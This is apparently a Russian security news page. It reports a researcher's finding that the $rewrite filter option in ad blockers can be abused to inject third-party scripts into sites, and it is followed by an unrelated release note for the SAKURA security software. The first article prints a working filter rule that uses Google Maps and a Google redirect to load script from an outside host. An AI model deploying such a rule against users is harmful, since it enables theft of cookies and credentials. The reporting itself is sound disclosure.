Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

САКУРА 2.37.2 получила поддержку Wayland и Astra Linux МКЦ

Компания «ИТ-Экспертиза» выпустила обновлённую версию программного комплекса информационной безопасности САКУРА 2.37.2. В релизе разработчики сосредоточились на расширении функциональности, повышении стабильности и доработке инструментов контроля рабочих мест.

Одним из ключевых изменений стала поддержка протокола Wayland в Linux. Это расширило список совместимых дистрибутивов и позволило сделать работу агентов более стабильной и менее ресурсоёмкой — что особенно важно для рабочих станций с ограниченными аппаратными возможностями.

Кроме того, агент САКУРА теперь совместим с Astra Linux в режиме мандатного контроля целостности (МКЦ). Благодаря этому программный комплекс можно использовать в средах с повышенными требованиями к безопасности — в том числе в корпоративных и государственных инфраструктурах, где необходим дополнительный уровень защиты.

В системе отчётности появилось небольшое, но практичное улучшение: в отчётах об установленном ПО добавлен фильтр «архивности» рабочих мест. Он позволяет исключать устаревшие или неактуальные данные, упрощая аналитику и помогая точнее оценивать потребности в лицензиях.

Разработчики также поработали над внутренними механизмами. Был повышен надёжность и скорость передачи метрик с агента на сервер, за счёт чего система быстрее реагирует на нарушения и сокращает время между обнаружением проблемы и её устранением. Доработана интеграция с OpenVPN: агент теперь получает имя VPN-пользователя из сертификата, что упрощает управление доступом для удалённых сотрудников и делает его более прозрачным.

Ещё одно заметное изменение касается пользовательских уведомлений. В версии 2.37.2 реализован единый механизм оповещений на рабочих станциях с использованием кросс-платформенного фреймворка Fyne. Это позволило унифицировать внешний вид уведомлений в Windows, macOS и Linux и снизить зависимость от нативных библиотек.

В обновлении также исправлен ряд ошибок. В частности, устранена проблема, из-за которой мог игнорироваться параметр уведомления пользователей при нарушении правил контроля. Исправлены сбои при восстановлении VPN-соединений через КриптоПро NGate, а также некорректное отображение пользовательских уведомлений для собственных правил контроля.

Группа компаний «ИТ-Экспертиза» занимается разработкой и внедрением решений в сфере информационной безопасности, а программный комплекс САКУРА входит в Реестр отечественного ПО. Новый релиз продолжает развитие продукта в сторону более гибкой работы с Linux-средами, удалённым доступом и высокозащищёнными ИТ-ландшафтами.

RSS: Новости на портале Anti-Malware.ru